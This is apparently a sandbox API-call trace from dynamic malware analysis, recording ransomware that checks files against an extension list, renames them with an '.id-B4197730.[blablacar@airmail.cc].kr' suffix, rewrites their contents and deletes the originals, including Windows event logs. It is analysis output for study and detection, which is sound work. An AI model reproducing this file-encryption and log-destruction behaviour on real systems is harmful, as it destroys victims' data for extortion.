[0092.955] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0092.955] lstrlenW (lpString=".docx") returned 5 [0092.955] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0092.955] lstrlenW (lpString=".pdf") returned 4 [0092.955] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0092.955] lstrlenW (lpString=".xls") returned 4 [0092.955] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0092.955] lstrlenW (lpString=".xlsx") returned 5 [0092.955] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0092.955] lstrlenW (lpString=".ppt") returned 4 [0092.955] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0092.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.955] lstrlenW (lpString=".zip") returned 4 [0092.955] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0092.955] lstrlenW (lpString=".rar") returned 4 [0092.956] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0092.956] lstrlenW (lpString=".bz2") returned 4 [0092.956] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0092.956] lstrlenW (lpString=".7z") returned 3 [0092.956] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0092.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.956] lstrlenW (lpString=".dbf") returned 4 [0092.956] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0092.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.956] lstrlenW (lpString=".1cd") returned 4 [0092.956] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0092.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0092.956] lstrlenW (lpString=".jpg") returned 4 [0092.956] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0092.956] lstrcmpiW (lpString1=".msu", lpString2=".kr") returned 1 [0092.956] lstrlenW (lpString="Windows6.0-KB956250-v6001-x64.msu") returned 33 [0092.956] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0093.311] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=5198099) returned 1 [0093.311] CloseHandle (hObject=0x358) returned 1 [0093.311] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu")) returned 0x80 [0093.312] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.312] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0093.312] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x64.msu.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0093.313] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc64 | out: lpNewFilePointer=0x0) returned 1 [0093.313] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc24 | out: lpNewFilePointer=0x0) returned 1 [0093.313] ReadFile (in: hFile=0x358, lpBuffer=0x4121058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b9fc30, lpOverlapped=0x0 | out: lpBuffer=0x4121058*, lpNumberOfBytesRead=0x3b9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.319] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc24 | out: lpNewFilePointer=0x0) returned 1 [0093.319] ReadFile (in: hFile=0x358, lpBuffer=0x4161058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b9fc30, lpOverlapped=0x0 | out: lpBuffer=0x4161058*, lpNumberOfBytesRead=0x3b9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.324] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3b9fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.324] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc24 | out: lpNewFilePointer=0x0) returned 1 [0093.324] ReadFile (in: hFile=0x358, lpBuffer=0x41a1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3b9fc30, lpOverlapped=0x0 | out: lpBuffer=0x41a1058*, lpNumberOfBytesRead=0x3b9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0093.345] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.345] WriteFile (in: hFile=0x358, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x3b9fca8, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0093.972] SetEndOfFile (hFile=0x358) returned 1 [0093.972] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x4283e78 [0093.973] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc74 | out: lpNewFilePointer=0x0) returned 1 [0093.973] WriteFile (in: hFile=0x358, lpBuffer=0x4283e78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4283e78*, lpNumberOfBytesWritten=0x3b9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0093.975] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1a705b, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc74 | out: lpNewFilePointer=0x0) returned 1 [0093.975] WriteFile (in: hFile=0x358, lpBuffer=0x4283e78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4283e78*, lpNumberOfBytesWritten=0x3b9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0093.978] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x4b5113, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc74 | out: lpNewFilePointer=0x0) returned 1 [0093.978] WriteFile (in: hFile=0x358, lpBuffer=0x4283e78*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4283e78*, lpNumberOfBytesWritten=0x3b9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0093.981] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.981] CloseHandle (hObject=0x358) returned 1 [0096.047] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0096.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.047] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.047] lstrlenW (lpString=".doc") returned 4 [0096.047] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0096.047] lstrlenW (lpString=".docx") returned 5 [0096.047] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0096.047] lstrlenW (lpString=".pdf") returned 4 [0096.047] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0096.048] lstrlenW (lpString=".xls") returned 4 [0096.048] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0096.048] lstrlenW (lpString=".xlsx") returned 5 [0096.048] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0096.048] lstrlenW (lpString=".ppt") returned 4 [0096.048] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0096.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.048] lstrlenW (lpString=".zip") returned 4 [0096.048] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0096.048] lstrlenW (lpString=".rar") returned 4 [0096.048] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0096.048] lstrlenW (lpString=".bz2") returned 4 [0096.048] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0096.048] lstrlenW (lpString=".7z") returned 3 [0096.048] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0096.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.048] lstrlenW (lpString=".dbf") returned 4 [0096.048] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0096.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.048] lstrlenW (lpString=".1cd") returned 4 [0096.048] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0096.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.048] lstrlenW (lpString=".jpg") returned 4 [0096.048] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0096.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.048] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.048] lstrlenW (lpString=".doc") returned 4 [0096.048] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0096.048] lstrlenW (lpString=".docx") returned 5 [0096.048] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0096.048] lstrlenW (lpString=".pdf") returned 4 [0096.049] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0096.049] lstrlenW (lpString=".xls") returned 4 [0096.049] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0096.049] lstrlenW (lpString=".xlsx") returned 5 [0096.049] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0096.049] lstrlenW (lpString=".ppt") returned 4 [0096.049] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0096.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.049] lstrlenW (lpString=".zip") returned 4 [0096.049] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0096.049] lstrlenW (lpString=".rar") returned 4 [0096.049] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0096.049] lstrlenW (lpString=".bz2") returned 4 [0096.049] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0096.049] lstrlenW (lpString=".7z") returned 3 [0096.049] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0096.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.049] lstrlenW (lpString=".dbf") returned 4 [0096.049] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0096.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.049] lstrlenW (lpString=".1cd") returned 4 [0096.049] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0096.049] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x64.msu") returned 55 [0096.049] lstrlenW (lpString=".jpg") returned 4 [0096.049] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0096.049] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0096.049] lstrlenW (lpString="HardwareEvents.evtx") returned 19 [0096.050] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0096.050] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0096.050] CloseHandle (hObject=0x358) returned 1 [0096.050] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0096.050] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.051] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0096.051] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.051] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.051] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0096.051] GetLastError () returned 0x0 [0096.051] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0096.054] WriteFile (in: hFile=0x360, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0096.056] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.056] WriteFile (in: hFile=0x360, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0xfa, lpOverlapped=0x0) returned 1 [0096.056] SetEndOfFile (hFile=0x360) returned 1 [0096.056] CloseHandle (hObject=0x360) returned 1 [0096.058] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.058] SetEndOfFile (hFile=0x358) returned 1 [0096.059] CloseHandle (hObject=0x358) returned 1 [0096.060] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0096.060] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0096.060] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.060] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.060] lstrlenW (lpString=".doc") returned 4 [0096.060] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.060] lstrlenW (lpString=".docx") returned 5 [0096.060] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.060] lstrlenW (lpString=".pdf") returned 4 [0096.060] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.060] lstrlenW (lpString=".xls") returned 4 [0096.060] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.060] lstrlenW (lpString=".xlsx") returned 5 [0096.060] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.060] lstrlenW (lpString=".ppt") returned 4 [0096.060] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.060] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.060] lstrlenW (lpString=".zip") returned 4 [0096.060] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.061] lstrlenW (lpString=".rar") returned 4 [0096.061] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.061] lstrlenW (lpString=".bz2") returned 4 [0096.061] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.061] lstrlenW (lpString=".7z") returned 3 [0096.061] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.061] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.061] lstrlenW (lpString=".dbf") returned 4 [0096.061] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.061] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.061] lstrlenW (lpString=".1cd") returned 4 [0096.061] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.061] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.061] lstrlenW (lpString=".jpg") returned 4 [0096.061] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.061] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.061] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.061] lstrlenW (lpString=".doc") returned 4 [0096.061] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.061] lstrlenW (lpString=".docx") returned 5 [0096.061] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.061] lstrlenW (lpString=".pdf") returned 4 [0096.061] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.061] lstrlenW (lpString=".xls") returned 4 [0096.061] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.061] lstrlenW (lpString=".xlsx") returned 5 [0096.061] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.061] lstrlenW (lpString=".ppt") returned 4 [0096.061] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.061] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.061] lstrlenW (lpString=".zip") returned 4 [0096.062] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.062] lstrlenW (lpString=".rar") returned 4 [0096.062] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.062] lstrlenW (lpString=".bz2") returned 4 [0096.062] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.062] lstrlenW (lpString=".7z") returned 3 [0096.062] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.062] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.062] lstrlenW (lpString=".dbf") returned 4 [0096.062] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.062] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.062] lstrlenW (lpString=".1cd") returned 4 [0096.062] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.062] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0096.062] lstrlenW (lpString=".jpg") returned 4 [0096.062] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.062] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0096.062] lstrlenW (lpString="Internet Explorer.evtx") returned 22 [0096.062] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0096.062] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=69632) returned 1 [0096.063] CloseHandle (hObject=0x358) returned 1 [0096.063] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0096.063] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0096.063] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0096.063] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.063] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.063] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0096.063] GetLastError () returned 0x0 [0096.063] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0096.066] WriteFile (in: hFile=0x360, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0096.068] ReadFile (in: hFile=0x358, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b9fecc, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesRead=0x3b9fecc*=0x0, lpOverlapped=0x0) returned 1 [0096.068] WriteFile (in: hFile=0x360, lpBuffer=0x4121020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3b9fc94, lpOverlapped=0x0 | out: lpBuffer=0x4121020*, lpNumberOfBytesWritten=0x3b9fc94*=0x100, lpOverlapped=0x0) returned 1 [0096.068] SetEndOfFile (hFile=0x360) returned 1 [0096.068] CloseHandle (hObject=0x360) returned 1 [0096.076] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0096.076] SetEndOfFile (hFile=0x358) returned 1 [0096.078] CloseHandle (hObject=0x358) returned 1 [0096.078] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0096.078] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0096.078] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.078] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.078] lstrlenW (lpString=".doc") returned 4 [0096.078] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.078] lstrlenW (lpString=".docx") returned 5 [0096.078] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.078] lstrlenW (lpString=".pdf") returned 4 [0096.078] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.078] lstrlenW (lpString=".xls") returned 4 [0096.078] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.078] lstrlenW (lpString=".xlsx") returned 5 [0096.078] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.078] lstrlenW (lpString=".ppt") returned 4 [0096.079] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.079] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.079] lstrlenW (lpString=".zip") returned 4 [0096.079] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.079] lstrlenW (lpString=".rar") returned 4 [0096.079] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.079] lstrlenW (lpString=".bz2") returned 4 [0096.079] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.079] lstrlenW (lpString=".7z") returned 3 [0096.079] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.079] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.079] lstrlenW (lpString=".dbf") returned 4 [0096.079] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0096.079] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.079] lstrlenW (lpString=".1cd") returned 4 [0096.079] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0096.079] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.079] lstrlenW (lpString=".jpg") returned 4 [0096.079] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0096.079] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.079] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.079] lstrlenW (lpString=".doc") returned 4 [0096.079] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0096.079] lstrlenW (lpString=".docx") returned 5 [0096.079] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0096.079] lstrlenW (lpString=".pdf") returned 4 [0096.079] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0096.079] lstrlenW (lpString=".xls") returned 4 [0096.079] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0096.079] lstrlenW (lpString=".xlsx") returned 5 [0096.080] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0096.080] lstrlenW (lpString=".ppt") returned 4 [0096.080] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0096.080] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30 [0096.080] lstrlenW (lpString=".zip") returned 4 [0096.080] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0096.080] lstrlenW (lpString=".rar") returned 4 [0096.080] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0096.080] lstrlenW (lpString=".bz2") returned 4 [0096.080] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0096.080] lstrlenW (lpString=".7z") returned 3 [0096.080] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0096.080] lstrlenW (lpString="C:\\Logs\\Internet 